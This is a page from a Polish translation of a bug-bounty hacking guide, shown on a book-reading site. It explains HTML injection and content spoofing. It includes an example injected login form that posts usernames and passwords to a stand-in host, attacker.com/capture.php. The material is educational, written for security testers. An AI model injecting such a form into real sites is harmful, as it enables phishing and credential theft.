Читать книгу Na tropie błędów. Przewodnik hakerski - Peter Yaworski - Страница 34
5.
HTML INJECTION I FAŁSZOWANIE TREŚCI
ОглавлениеHTML injection i content spoofing (fałszowanie treści) są atakami, które pozwalają złośliwemu użytkownikowi na wstrzyknięcie treści do strony internetowej. Atakujący mogą dodać własne elementy HTML, na przykład tagi <form>, które udają pierwotny ekran logowania, aby nabrać osoby na podanie wrażliwych danych do złośliwej strony.
Ponieważ te rodzaje ataków opierają się na oszustwie ludzi (praktyka określana jako inżynieria społeczna), programy bug bounty traktują HTML injection i content spoofing jako jedne z mniej wrażliwych podatności w porównaniu z resztą opisanych w tej książce.
Podatność HTML injection następuje, gdy aplikacja pozwala atakującemu wysyłać tagi HTML, zazwyczaj przez jakąś formę parametrów wejściowych lub parametrów URL, które są następnie wyświetlane bezpośrednio na stronie. Przypomina to atak cross-site scripting, z wyjątkiem tego, że w przypadku tamtych mamy możliwość wykonania złośliwego kodu JavaScript, co omówimy w rozdziale 7.
Jeśli atakujący może wstrzyknąć HTML, który witryna prawidłowo renderuje, to jest on w stanie zmienić jej wygląd lub dodać nową zawartość. Technika polegająca na oszukaniu użytkownika przez podanie mu fałszywego formularza określana jest mianem phishingu. W przypadku takich ataków użytkownik podaje dane do formularza, będąc przekonanym, że należy on do pierwotnej wersji strony. Wpisane przez niego informacje zostają jednak przesłane do atakującego.
Na przykład, jeśli strona wyświetla zawartość, którą możesz kontrolować, być może jesteś w stanie dodać znacznik <form> do witryny, prosząc użytkownika, by podał ponownie swój login i hasło, tak jak tutaj:
<form method='POST' action='http://attacker.com/capture.php' id='login-form'>
<input type='text' name='username' value=''>
<input type='password' name='password' value=''>
<input type='submit' value='submit'>
</form>
Kiedy użytkownik prześle ten formularz, informacja zostanie wysłana na stronę atakującego http://<attacker>.com/capture.php przez atrybut action .
Content spoofing jest bardzo podobny do HTML injection, z tą różnicą, że atakujący może wstrzyknąć tylko czysty tekst, bez tagów HTML. Takie ograniczenie najczęściej wynika z tego, że witryna opuszcza jakikolwiek kod HTML bądź usuwa tagi HTML przesłane w odpowiedziach HTTP. Mimo że atakujący nie są w stanie formatować strony internetowej przez content spoofing, mają możliwość umieścić na niej wiadomość, która wygląda na prawdziwą. Takie wiadomości mogą nakłonić użytkowników do podjęcia pewnych interakcji, lecz opierają się mocno na inżynierii społecznej. Kolejne przykłady zademonstrują, jak można odkrywać te luki.